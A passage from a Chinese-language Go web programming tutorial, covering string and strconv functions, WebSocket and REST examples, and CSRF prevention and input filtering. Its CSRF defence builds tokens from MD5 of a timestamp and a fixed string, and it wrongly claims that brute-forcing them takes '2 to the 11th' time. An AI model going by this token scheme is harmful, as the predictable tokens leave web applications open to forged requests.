"ky", 2)) 62 | fmt.Println(strings.Replace("oink oink oink", "oink", "moo", -1)) 63 | //Output:oinky oinky oink 64 | //moo moo moo 65 | ``` 66 | - func Split(s, sep string) []string 67 | 68 | 把 s 字串按照 sep 分割,回傳 slice 69 | 70 | 71 | ```Go 72 | 73 | fmt.Printf("%q\n", strings.Split("a,b,c", ",")) 74 | fmt.Printf("%q\n", strings.Split("a man a plan a canal panama", "a ")) 75 | fmt.Printf("%q\n", strings.Split(" xyz ", "")) 76 | fmt.Printf("%q\n", strings.Split("", "Bernardo O'Higgins")) 77 | //Output:["a" "b" "c"] 78 | //["" "man " "plan " "canal panama"] 79 | //[" " "x" "y" "z" " "] 80 | //[""] 81 | ``` 82 | 83 | - func Trim(s string, cutset string) string 84 | 85 | 在 s 字串的頭部和尾部去除 cutset 指定的字串 86 | 87 | ```Go 88 | 89 | fmt.Printf("[%q]", strings.Trim(" !!! Achtung !!! ", "! ")) 90 | //Output:["Achtung"] 91 | ``` 92 | 93 | - func Fields(s string) []string 94 | 95 | 去除 s 字串的空格符,並且按照空格分割回傳 slice 96 | 97 | 98 | ```Go 99 | 100 | fmt.Printf("Fields are: %q", strings.Fields(" foo bar baz ")) 101 | //Output:Fields are: ["foo" "bar" "baz"] 102 | ``` 103 | 104 | ## 字串轉換 105 | 字串轉化的函式在 strconv 中,如下也只是列出一些常用的: 106 | 107 | - Append 系列函式將整數等轉換為字串後,新增到現有的位元組陣列中。 108 | 109 | ```Go 110 | 111 | package main 112 | 113 | import ( 114 | "fmt" 115 | "strconv" 116 | ) 117 | 118 | func main() { 119 | str := make([]byte, 0, 100) 120 | str = strconv.AppendInt(str, 4567, 10) 121 | str = strconv.AppendBool(str, false) 122 | str = strconv.AppendQuote(str, "abcdefg") 123 | str = strconv.AppendQuoteRune(str, '單') 124 | fmt.Println(string(str)) 125 | } 126 | ``` 127 | 128 | - Format 系列函式把其他型別的轉換為字串 129 | 130 | ```Go 131 | 132 | package main 133 | 134 | import ( 135 | "fmt" 136 | "strconv" 137 | ) 138 | 139 | func main() { 140 | a := strconv.FormatBool(false) 141 | b := strconv.FormatFloat(123.23, 'g', 12, 64) 142 | c := strconv.FormatInt(1234, 10) 143 | d := strconv.FormatUint(12345, 10) 144 | e := strconv.Itoa(1023) 145 | fmt.Println(a, b, c, d, e) 146 | } 147 | 148 | ``` 149 | 150 | - Parse 系列函式把字串轉換為其他型別 151 | 152 | ```Go 153 | 154 | package main 155 | 156 | import ( 157 | "fmt" 158 | "strconv" 159 | ) 160 | func checkError(e error){ 161 | if e != nil{ 162 | fmt.Println(e) 163 | } 164 | } 165 | func main() { 166 | a, err := strconv.ParseBool("false") 167 | checkError(err) 168 | b, err := strconv.ParseFloat("123.23", 64) 169 | checkError(err) 170 | c, err := strconv.ParseInt("1234", 10, 64) 171 | checkError(err) 172 | d, err := strconv.ParseUint("12345", 10, 64) 173 | checkError(err) 174 | e, err := strconv.Atoi("1023") 175 | checkError(err) 176 | fmt.Println(a, b, c, d, e) 177 | } 178 | 179 | ``` 180 | 181 | ## links 182 | * [目錄](preface.md) 183 | * 上一節: [檔案操作](07.5.md) 184 | * 下一節: [小結](07.7.md) 185 | -------------------------------------------------------------------------------- /07.7.md: -------------------------------------------------------------------------------- 1 | # 7.7 小結 2 | 這一章給大家介紹了一些文字處理的工具,包括 XML、JSON、正則和範本技術,XML 和 JSON 是資料互動的工具,透過 XML 和 JSON 你可以表達各種含義,透過正則你可以處理文字(搜尋、替換、擷取),透過範本技術你可以展現這些資料給使用者。這些都是你開發 Web 應用過程中需要用到的技術,透過這個小節的介紹你能夠了解如何處理文字、展現文字。 3 | 4 | ## links 5 | * [目錄](preface.md) 6 | * 上一節: [字串處理](07.6.md) 7 | * 下一節: [Web 服務](08.0.md) 8 | -------------------------------------------------------------------------------- /08.0.md: -------------------------------------------------------------------------------- 1 | # 8 Web 服務 2 | Web 服務可以讓你在 HTTP 協議的基礎上透過 XML 或者 JSON 來交換資訊。如果你想知道上海的天氣預報、中國石油的股價或者淘寶商家的一個商品資訊,你可以編寫一段簡短的程式碼,透過抓取這些資訊然後透過標準的介面開放出來,就如同你呼叫一個本地函式並回傳一個值。 3 | 4 | Web 服務背後的關鍵在於平臺的無關性,你可以執行你的服務在 Linux 系統,可以與其他 Windows 的 asp.net 程式互動,同樣的,也可以透過同一個介面和執行在 FreeBSD 上面的 JSP 無障礙地通訊。 5 | 6 | 目前主流的有如下幾種 Web 服務:REST、SOAP。 7 | 8 | REST 請求是很直觀的,因為 REST 是基於 HTTP 協議的一個補充,他的每一次請求都是一個 HTTP 請求,然後根據不同的 method 來處理不同的邏輯,很多 Web 開發者都熟悉 HTTP 協議,所以學習 REST 是一件比較容易的事情。所以我們在 8.3 小節將詳細的講解如何在 Go 語言中來實現 REST 方式。 9 | 10 | SOAP 是 W3C 在跨網路資訊傳遞和遠端計算機函式呼叫方面的一個標準。但是 SOAP 非常複雜,其完整的規範篇幅很長,而且內容仍然在增加。Go 語言是以簡單著稱,所以我們不會介紹 SOAP 這樣複雜的東西。而 Go 語言提供了一種天生效能很不錯,開發起來很方便的 RPC 機制,我們將會在 8.4 小節詳細介紹如何使用 Go 語言來實現 RPC。 11 | 12 | Go 語言是 21 世紀的 C 語言,我們追求的是效能、簡單,所以我們在 8.1 小節裡面介紹如何使用 Socket 程式設計,很多遊戲服務都是採用 Socket 來編寫伺服器端,因為 HTTP 協議相對而言比較耗費效能,讓我們看看 Go 語言如何來 Socket 程式設計。目前隨著 HTML5 的發展,webSockets 也逐漸的成為很多頁遊公司接下來開發的一些手段,我們將在 8.2 小節裡面講解 Go 語言如何編寫 webSockets 的程式碼。 13 | 14 | ## 目錄 15 | ![](images/navi8.png) 16 | 17 | ## links 18 | * [目錄](preface.md) 19 | * 上一章: [第七章總結](07.7.md) 20 | * 下一節: [Socket 程式設計](08.1.md) 21 | -------------------------------------------------------------------------------- /08.2.md: -------------------------------------------------------------------------------- 1 | # 8.2 WebSocket 2 | WebSocket 是 HTML5 的重要特性,它實現了基於瀏覽器的遠端 socket,它使瀏覽器和伺服器可以進行全雙工通訊,許多瀏覽器(Firefox、Google Chrome 和 Safari)都已對此做了支援。 3 | 4 | 在 WebSocket 出現之前,為了實現即時通訊,採用的技術都是“輪詢”,即在特定的時間間隔內,由瀏覽器對伺服器發出 HTTP Request,伺服器在收到請求後,回傳最新的資料給瀏覽器重新整理,“輪詢”使得瀏覽器需要對伺服器不斷髮出請求,這樣會佔用大量頻寬。 5 | 6 | WebSocket 採用了一些特殊的報頭,使得瀏覽器和伺服器只需要做一個握手的動作,就可以在瀏覽器和伺服器之間建立一條連線通道。且此連線會保持在活動狀態,你可以使用 JavaScript 來向連線寫入或從中接收資料,就像在使用一個常規的 TCP Socket 一樣。它解決了 Web 即時化的問題,相比傳統 HTTP 有如下好處: 7 | 8 | - 一個 Web 客戶端只建立一個 TCP 連線 9 | - Websocket 伺服器端可以推送(push)資料到 web 客戶端. 10 | - 有更加輕量級的頭,減少資料傳送量 11 | 12 | WebSocket URL 的起始輸入是 ws://或是 wss://(在 SSL 上)。下圖展示了 WebSocket 的通訊過程,一個帶有特定報頭的 HTTP 握手被髮送到了伺服器端,接著在伺服器端或是客戶端就可以透過 JavaScript 來使用某種套介面(socket),這一套介面可被用來透過事件控制代碼非同步地接收資料。 13 | 14 | ![](images/8.2.websocket.png) 15 | 16 | 圖 8.2 WebSocket 原理圖 17 | 18 | ## WebSocket 原理 19 | WebSocket 的協議頗為簡單,在第一次 handshake 透過以後,連線便建立成功,其後的通訊資料都是以”\x00″開頭,以”\xFF”結尾。在客戶端,這個是透明的,WebSocket 元件會自動將原始資料“掐頭去尾”。 20 | 21 | 瀏覽器發出 WebSocket 連線請求,然後伺服器發出迴應,然後連線建立成功,這個過程通常稱為“握手” (handshaking)。請看下面的請求和反饋資訊: 22 | 23 | ![](images/8.2.websocket2.png) 24 | 25 | 圖 8.3 WebSocket 的 request 和 response 資訊 26 | 27 | 在請求中的"Sec-WebSocket-Key"是隨機的,對於整天跟編碼打交道的程式設計師,一眼就可以看出來:這個是一個經過 base64 編碼後的資料。伺服器端接收到這個請求之後需要把這個字串連線上一個固定的字串: 28 | 29 | 258EAFA5-E914-47DA-95CA-C5AB0DC85B11 30 | 31 | 即:`f7cb4ezEAl6C3wRaU6JORA==`連線上那一串固定字串,產生一個這樣的字串: 32 | 33 | f7cb4ezEAl6C3wRaU6JORA==258EAFA5-E914-47DA-95CA-C5AB0DC85B11 34 | 35 | 對該字串先用 sha1 安全雜湊演算法計算出二進位制的值,然後用 base64 對其進行編碼,即可以得到握手後的字串: 36 | 37 | rE91AJhfC+6JdVcVXOGJEADEJdQ= 38 | 39 | 將之作為回應標頭`Sec-WebSocket-Accept`的值反饋給客戶端。 40 | 41 | ## Go 實現 WebSocket 42 | Go 語言標準套件裡面沒有提供對 WebSocket 的支援,但是在由官方維護的 go.net 子套件中有對這個的支援,你可以透過如下的命令取得該套件: 43 | 44 | go get golang.org/x/net/websocket 45 | 46 | WebSocket 分為客戶端和伺服器端,接下來我們將實現一個簡單的例子 : 使用者輸入資訊,客戶端透過 WebSocket 將資訊傳送給伺服器端,伺服器端收到資訊之後主動 Push 資訊到客戶端,然後客戶端將輸出其收到的資訊,客戶端的程式碼如下: 47 | 48 | ```html 49 | 50 | 51 | 52 | 53 | 81 |

WebSocket Echo Test

82 |
83 |

84 | Message: 85 |

86 |
87 | 88 | 89 | 90 | ``` 91 | 92 | 可以看到客戶端 JS,很容易的就透過 WebSocket 函式建立了一個與伺服器的連線 sock,當握手成功後,會觸發 WebScoket 物件的 onopen 事件,告訴客戶端連線已經成功建立。客戶端一共綁定了四個事件。 93 | 94 | - 1)onopen 建立連線後觸發 95 | - 2)onmessage 收到訊息後觸發 96 | - 3)onerror 發生錯誤時觸發 97 | - 4)onclose 關閉連線時觸發 98 | 99 | 我們伺服器端的實現如下: 100 | 101 | ```Go 102 | package main 103 | 104 | import ( 105 | "golang.org/x/net/websocket" 106 | "fmt" 107 | "log" 108 | "net/http" 109 | ) 110 | 111 | func Echo(ws *websocket.Conn) { 112 | var err error 113 | 114 | for { 115 | var reply string 116 | 117 | if err = websocket.Message.Receive(ws, &reply); err != nil { 118 | fmt.Println("Can't receive") 119 | break 120 | } 121 | 122 | fmt.Println("Received back from client: " + reply) 123 | 124 | msg := "Received: " + reply 125 | fmt.Println("Sending to client: " + msg) 126 | 127 | if err = websocket.Message.Send(ws, msg); err != nil { 128 | fmt.Println("Can't send") 129 | break 130 | } 131 | } 132 | } 133 | 134 | func main() { 135 | http.Handle("/", websocket.Handler(Echo)) 136 | 137 | if err := http.ListenAndServe(":1234", nil); err != nil { 138 | log.Fatal("ListenAndServe:", err) 139 | } 140 | } 141 | ``` 142 | 143 | 當客戶端將使用者輸入的資訊 Send 之後,伺服器端透過 Receive 接收到了相應資訊,然後透過 Send 傳送了回應資訊。 144 | 145 | ![](images/8.2.websocket3.png) 146 | 147 | 圖 8.4 WebSocket 伺服器端接收到的資訊 148 | 149 | 透過上面的例子我們看到客戶端和伺服器端實現 WebSocket 非常的方便,Go 的原始碼 net 分支中已經實現了這個的協議,我們可以直接拿來用,目前隨著 HTML5 的發展,我想未來 WebSocket 會是 Web 開發的一個重點,我們需要儲備這方面的知識。 150 | 151 | 152 | ## links 153 | * [目錄](preface.md) 154 | * 上一節: [Socket 程式設計](08.1.md) 155 | * 下一節: [REST](08.3.md) 156 | -------------------------------------------------------------------------------- /08.3.md: -------------------------------------------------------------------------------- 1 | # 8.3 REST 2 | RESTful,是目前最為流行的一種網際網路軟體架構。因為它結構清晰、符合標準、易於理解、擴充套件方便,所以正得到越來越多網站的採用。本小節我們將來學習它到底是一種什麼樣的架構?以及在 Go 裡面如何來實現它。 3 | ## 什麼是 REST 4 | REST(REpresentational State Transfer)這個概念,首次出現是在 2000 年 Roy Thomas Fielding(他是 HTTP 規範的主要編寫者之一)的博士論文中,它指的是一組架構約束條件和原則。滿足這些約束條件和原則的應用程式或設計就是 RESTful 的。 5 | 6 | 要理解什麼是 REST,我們需要理解下面幾個概念: 7 | 8 | - 資源(Resources) 9 | REST 是"表現層狀態轉化",其實它省略了主語。"表現層"其實指的是"資源"的"表現層"。 10 | 11 | 那麼什麼是資源呢?就是我們平常上網存取的一張圖片、一個文件、一個視訊等。這些資源我們透過 URI 來定位,也就是一個 URI 表示一個資源。 12 | 13 | - 表現層(Representation) 14 | 15 | 資源是做一個具體的實體資訊,他可以有多種的展現方式。而把實體展現出來就是表現層,例如一個 txt 文字資訊,他可以輸出成 html、json、xml 等格式,一個圖片他可以 jpg、png 等方式展現,這個就是表現層的意思。 16 | 17 | URI 確定一個資源,但是如何確定它的具體表現形式呢?應該在 HTTP 請求的頭資訊中用 Accept 和 Content-Type 欄位指定,這兩個欄位才是對"表現層"的描述。 18 | 19 | - 狀態轉化(State Transfer) 20 | 21 | 存取一個網站,就代表了客戶端和伺服器的一個互動過程。在這個過程中,肯定涉及到資料和狀態的變化。而 HTTP 協議是無狀態的,那麼這些狀態肯定儲存在伺服器端,所以如果客戶端想要通知伺服器端改變資料和狀態的變化,肯定要透過某種方式來通知它。 22 | 23 | 客戶端能通知伺服器端的手段,只能是 HTTP 協議。具體來說,就是 HTTP 協議裡面,四個表示操作方式的動詞:GET、POST、PUT、DELETE。它們分別對應四種基本操作:GET 用來取得資源,POST 用來建立資源(也可以用於更新資源),PUT 用來更新資源,DELETE 用來刪除資源。 24 | 25 | 綜合上面的解釋,我們總結一下什麼是 RESTful 架構: 26 | 27 | - (1)每一個 URI 代表一種資源; 28 | - (2)客戶端和伺服器之間,傳遞這種資源的某種表現層; 29 | - (3)客戶端透過四個 HTTP 動詞,對伺服器端資源進行操作,實現"表現層狀態轉化"。 30 | 31 | 32 | Web 應用要滿足 REST 最重要的原則是 : 客戶端和伺服器之間的互動在請求之間是無狀態的,即從客戶端到伺服器的每個請求都必須包含理解請求所必需的資訊。如果伺服器在請求之間的任何時間點重啟,客戶端不會得到通知。此外此請求可以由任何可用伺服器回答,這十分適合雲端計算之類別的環境。因為是無狀態的,所以客戶端可以快取資料以改進效能。 33 | 34 | 另一個重要的 REST 原則是系統分層,這表示元件無法了解除了與它直接互動的層次以外的元件。透過將系統知識限制在單個層,可以限制整個系統的複雜性,從而促進了底層的獨立性。 35 | 36 | 下圖即是 REST 的架構圖: 37 | 38 | ![](images/8.3.rest2.png) 39 | 40 | 圖 8.5 REST 架構圖 41 | 42 | 當 REST 架構的約束條件作為一個整體應用時,將產生一個可以擴充套件到大量客戶端的應用程式。它還降低了客戶端和伺服器之間的互動延遲。統一介面簡化了整個系統架構,改進了子系統之間互動的可見性。REST 簡化了客戶端和伺服器的實現,而且對於使用 REST 開發的應用程式更加容易擴充套件。 43 | 44 | 下圖展示了 REST 的擴充套件性: 45 | 46 | ![](images/8.3.rest.png) 47 | 48 | 圖 8.6 REST 的擴充套件性 49 | 50 | ## RESTful 的實現 51 | Go 沒有為 REST 提供直接支援,但是因為 RESTful 是基於 HTTP 協議實現的,所以我們可以利用`net/http`套件來自己實現,當然需要針對 REST 做一些改造,REST 是根據不同的 method 來處理相應的資源,目前已經存在的很多自稱是 REST 的應用,其實並沒有真正的實現 REST,我暫且把這些應用根據實現的 method 分成幾個級別,請看下圖: 52 | 53 | ![](images/8.3.rest3.png) 54 | 55 | 圖 8.7 REST 的 level 分級 56 | 57 | 上圖展示了我們目前實現 REST 的三個 level,我們在應用開發的時候也不一定全部按照 RESTful 的規則全部實現他的方式,因為有些時候完全按照 RESTful 的方式未必是可行的,RESTful 服務充分利用每一個 HTTP 方法,包括 `DELETE` 和`PUT`。可有時,HTTP 客戶端只能發出 `GET` 和`POST`請求: 58 | 59 | - HTML 標準只能透過連結和表單支援 `GET` 和`POST`。在沒有 Ajax 支援的網頁瀏覽器中不能發出 `PUT` 或`DELETE`命令 60 | 61 | - 有些防火牆會擋住 HTTP `PUT`和 `DELETE` 請求,要繞過這個限制,客戶端需要把實際的 `PUT` 和`DELETE`請求透過 POST 請求穿透過來。RESTful 服務則要負責在收到的 POST 請求中找到原始的 HTTP 方法並還原。 62 | 63 | 我們現在可以透過 `POST` 裡面增加隱藏欄位 `_method` 這種方式可以來模擬`PUT`、`DELETE`等方式,但是伺服器端需要做轉換。我現在的專案裡面就按照這種方式來做的 REST 介面。當然 Go 語言裡面完全按照 RESTful 來實現是很容易的,我們透過下面的例子來說明如何實現 RESTful 的應用設計。 64 | 65 | ```Go 66 | package main 67 | 68 | import ( 69 | "fmt" 70 | "log" 71 | "net/http" 72 | 73 | "github.com/julienschmidt/httprouter" 74 | ) 75 | 76 | func Index(w http.ResponseWriter, r *http.Request, _ httprouter.Params) { 77 | fmt.Fprint(w, "Welcome!\n") 78 | } 79 | 80 | func Hello(w http.ResponseWriter, r *http.Request, ps httprouter.Params) { 81 | fmt.Fprintf(w, "hello, %s!\n", ps.ByName("name")) 82 | } 83 | 84 | func getuser(w http.ResponseWriter, r *http.Request, ps httprouter.Params) { 85 | uid := ps.ByName("uid") 86 | fmt.Fprintf(w, "you are get user %s", uid) 87 | } 88 | 89 | func modifyuser(w http.ResponseWriter, r *http.Request, ps httprouter.Params) { 90 | uid := ps.ByName("uid") 91 | fmt.Fprintf(w, "you are modify user %s", uid) 92 | } 93 | 94 | func deleteuser(w http.ResponseWriter, r *http.Request, ps httprouter.Params) { 95 | uid := ps.ByName("uid") 96 | fmt.Fprintf(w, "you are delete user %s", uid) 97 | } 98 | 99 | func adduser(w http.ResponseWriter, r *http.Request, ps httprouter.Params) { 100 | // uid := r.FormValue("uid") 101 | uid := ps.ByName("uid") 102 | fmt.Fprintf(w, "you are add user %s", uid) 103 | } 104 | 105 | func main() { 106 | router := httprouter.New() 107 | router.GET("/", Index) 108 | router.GET("/hello/:name", Hello) 109 | 110 | router.GET("/user/:uid", getuser) 111 | router.POST("/adduser/:uid", adduser) 112 | router.DELETE("/deluser/:uid", deleteuser) 113 | router.PUT("/moduser/:uid", modifyuser) 114 | 115 | log.Fatal(http.ListenAndServe(":8080", router)) 116 | } 117 | ``` 118 | 119 | 上面的程式碼示範了如何編寫一個 REST 的應用,我們存取的資源是使用者,我們透過不同的 method 來存取不同的函式,這裡使用了第三方函式庫`github.com/julienschmidt/httprouter`,在前面章節我們介紹過如何實現自訂的路由器,這個函式庫實現了自訂路由和方便的路由規則對映,透過它,我們可以很方便的實現 REST 的架構。透過上面的程式碼可知,REST 就是根據不同的 method 存取同一個資源的時候實現不同的邏輯處理。 120 | 121 | ## 總結 122 | REST 是一種架構風格,汲取了 WWW 的成功經驗:無狀態,以資源為中心,充分利用 HTTP 協議和 URI 協議,提供統一的介面定義,使得它作為一種設計 Web 服務的方法而變得流行。在某種意義上,透過強調 URI 和 HTTP 等早期 Internet 標準,REST 是對大型應用程式伺服器時代之前的 Web 方式的迴歸。目前 Go 對於 REST 的支援還是很簡單的,透過實現自訂的路由規則,我們就可以為不同的 method 實現不同的 handle,這樣就實現了 REST 的架構。 123 | 124 | ## links 125 | * [目錄](preface.md) 126 | * 上一節: [WebSocket](08.2.md) 127 | * 下一節: [RPC](08.4.md) 128 | -------------------------------------------------------------------------------- /08.5.md: -------------------------------------------------------------------------------- 1 | # 8.5 小結 2 | 這一章我們介紹了目前流行的幾種主要的網路應用開發方式,第一小節介紹了網路程式設計中的基礎 :Socket 程式設計,因為現在網路正在朝雲的方向快速進化,作為這一技術演進的基石的的 socket 知識,作為開發者的你,是必須要掌握的。第二小節介紹了正愈發流行的 HTML5 中一個重要的特性 WebSocket,透過它,伺服器可以實現主動的 push 訊息,以簡化以前 ajax 輪詢的模式。第三小節介紹了 REST 編寫模式,這種模式特別適合來開發網路應用 API,目前移動應用的快速發展,我覺得將來會是一個潮流。第四小節介紹了 Go 實現的 RPC 相關知識,對於上面四種開發方式,Go 都已經提供了良好的支援,net 套件及其子套件,是所有涉及到網路程式設計的工具的所在地。如果你想更加深入的了解相關實現細節,可以嘗試閱讀這個套件下面的原始碼。 3 | ## links 4 | * [目錄](preface.md) 5 | * 上一節: [RPC](08.4.md) 6 | * 下一章: [安全與加密](09.0.md) 7 | -------------------------------------------------------------------------------- /09.0.md: -------------------------------------------------------------------------------- 1 | # 9 安全與加密 2 | 無論是開發 Web 應用的開發者還是企圖利用 Web 應用漏洞的攻擊者,對於 Web 程式安全這個話題都給予了越來越多的關注。特別是最近 CSDN 密碼洩露事件,更是讓我們對 Web 安全這個話題更加重視,所有人都談密碼色變,都開始檢測自己的系統是否存在漏洞。那麼我們作為一名 Go 程式的開發者,一定也需要知道我們的應用程式隨時會成為眾多攻擊者的目標,並提前做好防範的準備。 3 | 4 | 很多 Web 應用程式中的安全問題都是由於輕信了第三方提供的資料造成的。比如對於使用者的輸入資料,在對其進行驗證之前都應該將其視為不安全的資料。如果直接把這些不安全的資料輸出到客戶端,就可能造成跨站指令碼攻擊(XSS)的問題。如果把不安全的資料用於資料庫查詢,那麼就可能造成 SQL 注入問題,我們將會在 9.3、9.4 小節介紹如何避免這些問題。 5 | 6 | 在使用第三方提供的資料,包括使用者提供的資料時,首先檢驗這些資料的合法性非常重要,這個過程叫做過濾,我們將在 9.2 小節介紹如何保證對所有輸入的資料進行過濾處理。 7 | 8 | 過濾輸入和轉義輸出並不能解決所有的安全問題,我們將會在 9.1 講解的 CSRF 攻擊,會導致受騙者傳送攻擊者指定的請求從而造成一些破壞。 9 | 10 | 與安全加密相關的,能夠增強我們的 Web 應用程式的強大手段就是加密,CSDN 洩密事件就是因為密碼儲存的是明文,使得攻擊拿手函式庫之後就可以直接實施一些破壞行為了。不過,和其他工具一樣,加密手段也必須運用得當。我們將在 9.5 小節介紹如何儲存密碼,如何讓密碼儲存的安全。 11 | 12 | 加密的本質就是擾亂資料,某些不可還原的資料擾亂我們稱為單向加密或者雜湊演算法。另外還有一種雙向加密方式,也就是可以對加密後的資料進行解密。我們將會在 9.6 小節介紹如何實現這種雙向加密方式。 13 | 14 | ## 目錄 15 | ![](images/navi9.png) 16 | 17 | ## links 18 | * [目錄](preface.md) 19 | * 上一章: [第八章總結](08.5.md) 20 | * 下一節: [預防 CSRF 攻擊](09.1.md) 21 | -------------------------------------------------------------------------------- /09.1.md: -------------------------------------------------------------------------------- 1 | # 9.1 預防 CSRF 攻擊 2 | 3 | ## 什麼是 CSRF 4 | 5 | CSRF(Cross-site request forgery),中文名稱:跨站請求偽造,也被稱為:one click attack/session riding,縮寫為:CSRF/XSRF。 6 | 7 | 那麼 CSRF 到底能夠幹嘛呢?你可以這樣簡單的理解:攻擊者可以盜用你的登陸資訊,以你的身份模擬傳送各種請求。攻擊者只要藉助少許的社會工程學的詭計,例如透過 QQ 等聊天軟體傳送的連結(有些還偽裝成短域名,使用者無法分辨),攻擊者就能迫使 Web 應用的使用者去執行攻擊者預設的操作。例如,當用戶登入網路銀行去檢視其存款餘額,在他沒有退出時,就點選了一個 QQ 好友發來的連結,那麼該使用者銀行帳戶中的資金就有可能被轉移到攻擊者指定的帳戶中。 8 | 9 | 所以遇到 CSRF 攻擊時,將對終端使用者的資料和操作指令構成嚴重的威脅;當受攻擊的終端使用者具有管理員帳戶的時候,CSRF 攻擊將危及整個 Web 應用程式。 10 | 11 | ## CSRF 的原理 12 | 13 | 下圖簡單闡述了 CSRF 攻擊的思想 14 | 15 | ![](images/9.1.csrf.png) 16 | 17 | 圖 9.1 CSRF 的攻擊過程 18 | 19 | 從上圖可以看出,要完成一次 CSRF 攻擊,受害者必須依次完成兩個步驟 : 20 | 21 | - 1.登入受信任網站 A,並在本地產生 Cookie 。 22 | - 2.在不退出 A 的情況下,存取危險網站 B。 23 | 24 | 看到這裡,讀者也許會問:“如果我不滿足以上兩個條件中的任意一個,就不會受到 CSRF 的攻擊”。是的,確實如此,但你不能保證以下情況不會發生: 25 | 26 | - 你不能保證你登入了一個網站後,不再開啟一個 tab 頁面並存取另外的網站,特別現在瀏覽器都是支援多 tab 的。 27 | - 你不能保證你關閉瀏覽器了後,你本地的 Cookie 立刻過期,你上次的會話已經結束。 28 | - 上圖中所謂的攻擊網站,可能是一個存在其他漏洞的可信任的經常被人存取的網站。 29 | 30 | 因此對於使用者來說很難避免在登陸一個網站之後不點選一些連結進行其他操作,所以隨時可能成為 CSRF 的受害者。 31 | 32 | CSRF 攻擊主要是因為 Web 的隱式身份驗證機制,Web 的身份驗證機制雖然可以保證一個請求是來自於某個使用者的瀏覽器,但卻無法保證該請求是使用者批准傳送的。 33 | 34 | ## 如何預防 CSRF 35 | 過上面的介紹,讀者是否覺得這種攻擊很恐怖,意識到恐怖是個好事情,這樣會促使你接著往下看如何改進和防止類似的漏洞出現。 36 | 37 | CSRF 的防禦可以從伺服器端和客戶端兩方面著手,防禦效果是從伺服器端著手效果比較好,現在一般的 CSRF 防禦也都在伺服器端進行。 38 | 39 | 伺服器端的預防 CSRF 攻擊的方式方法有多種,但思想上都是差不多的,主要從以下 2 個方面入手: 40 | 41 | - 1、正確使用 GET,POST 和 Cookie; 42 | - 2、在非 GET 請求中增加偽隨機數; 43 | 44 | 我們上一章介紹過 REST 方式的 Web 應用,一般而言,普通的 Web 應用都是以 GET、POST 為主,還有一種請求是 Cookie 方式。我們一般都是按照如下方式設計應用: 45 | 46 | 1、GET 常用在檢視,列舉,展示等不需要改變資源屬性的時候; 47 | 48 | 2、POST 常用在下達訂單,改變一個資源的屬性或者做其他一些事情; 49 | 50 | 接下來我就以 Go 語言來舉例說明,如何限制對資源的存取方法: 51 | 52 | ```Go 53 | mux.Get("/user/:uid", getuser) 54 | mux.Post("/user/:uid", modifyuser) 55 | ``` 56 | 57 | 這樣處理後,因為我們限定了修改只能使用 POST,當 GET 方式請求時就拒絕回應,所以上面圖示中 GET 方式的 CSRF 攻擊就可以防止了,但這樣就能全部解決問題了嗎?當然不是,因為 POST 也是可以模擬的。 58 | 59 | 因此我們需要實施第二步,在非 GET 方式的請求中增加隨機數,這個大概有三種方式來進行: 60 | 61 | - 為每個使用者產生一個唯一的 cookie token,所有表單都包含同一個偽隨機值,這種方案最簡單,因為攻擊者不能獲得第三方的 Cookie(理論上),所以表單中的資料也就構造失敗,但是由於使用者的 Cookie 很容易由於網站的 XSS 漏洞而被盜取,所以這個方案必須要在沒有 XSS 的情況下才安全。 62 | - 每個請求使用驗證碼,這個方案是完美的,因為要多次輸入驗證碼,所以使用者友好性很差,所以不適合實際運用。 63 | - 不同的表單包含一個不同的偽隨機值,我們在 4.4 小節介紹“如何防止表單多次提交”時介紹過此方案,複用相關程式碼,實現如下: 64 | 65 | 產生隨機數 token 66 | 67 | ```Go 68 | h := md5.New() 69 | io.WriteString(h, strconv.FormatInt(crutime, 10)) 70 | io.WriteString(h, "ganraomaxxxxxxxxx") 71 | token := fmt.Sprintf("%x", h.Sum(nil)) 72 | 73 | t, _ := template.ParseFiles("login.gtpl") 74 | t.Execute(w, token) 75 | ``` 76 | 77 | 輸出 token 78 | ```html 79 | 80 | 81 | ``` 82 | 83 | 驗證 token 84 | 85 | ```Go 86 | r.ParseForm() 87 | token := r.Form.Get("token") 88 | if token != "" { 89 | //驗證 token 的合法性 90 | } else { 91 | //不存在 token 報錯 92 | } 93 | ``` 94 | 95 | 這樣基本就實現了安全的 POST,但是也許你會說如果破解了 token 的演算法呢,按照理論上是,但是實際上破解是基本不可能的,因為有人曾計算過,暴力破解該串大概需要 2 的 11 次方時間。 96 | 97 | ## 總結 98 | 跨站請求偽造,即 CSRF,是一種非常危險的 Web 安全威脅,它被 Web 安全界稱為“沉睡的巨人”,其威脅程度由此“美譽”便可見一斑。本小節不僅對跨站請求偽造本身進行了簡單介紹,還詳細說明造成這種漏洞的原因所在,然後以此提了一些防範該攻擊的建議,希望對讀者編寫安全的 Web 應用能夠有所啟發。 99 | 100 | ## links 101 | * [目錄](preface.md) 102 | * 上一節: [安全與加密](09.0.md) 103 | * 下一節: [確保輸入過濾](09.2.md) 104 | -------------------------------------------------------------------------------- /09.2.md: -------------------------------------------------------------------------------- 1 | # 9.2 確保輸入過濾 2 | 過濾使用者資料是 Web 應用安全的基礎。它是驗證資料合法性的過程。透過對所有的輸入資料進行過濾,可以避免惡意資料在程式中被誤信或誤用。大多數 Web 應用的漏洞都是因為沒有對使用者輸入的資料進行恰當過濾所引起的。 3 | 4 | 我們介紹的過濾資料分成三個步驟: 5 | 6 | - 1、識別資料,搞清楚需要過濾的資料來自於哪裡 7 | - 2、過濾資料,弄明白我們需要什麼樣的資料 8 | - 3、區分已過濾及被汙染資料,如果存在攻擊資料那麼保證過濾之後可以讓我們使用更安全的資料 9 | 10 | ## 識別資料 11 | “識別資料”作為第一步是因為在你不知道“資料是什麼,它來自於哪裡”的前提下,你也就不能正確地過濾它。這裡的資料是指所有源自非程式碼內部提供的資料。例如 : 所有來自客戶端的資料,但客戶端並不是唯一的外部資料來源,資料庫和第三方提供的介面資料等也可以是外部資料來源。 12 | 13 | 由使用者輸入的資料我們透過 Go 非常容易識別,Go 透過`r.ParseForm`之後,把使用者 POST 和 GET 的資料全部放在了`r.Form`裡面。其它的輸入要難識別得多,例如,`r.Header`中的很多元素是由客戶端所操縱的。常常很難確認其中的哪些元素組成了輸入,所以,最好的方法是把裡面所有的資料都看成是使用者輸入。(例如`r.Header.Get("Accept-Charset")`這樣的也看做是使用者輸入,雖然這些大多數是瀏覽器操縱的) 14 | 15 | ## 過濾資料 16 | 在知道資料來源之後,就可以過濾它了。過濾是一個有點正式的術語,它在平時表述中有很多同義詞,如驗證、清潔及淨化。儘管這些術語表面意義不同,但它們都是指的同一個處理:防止非法資料進入你的應用。 17 | 18 | 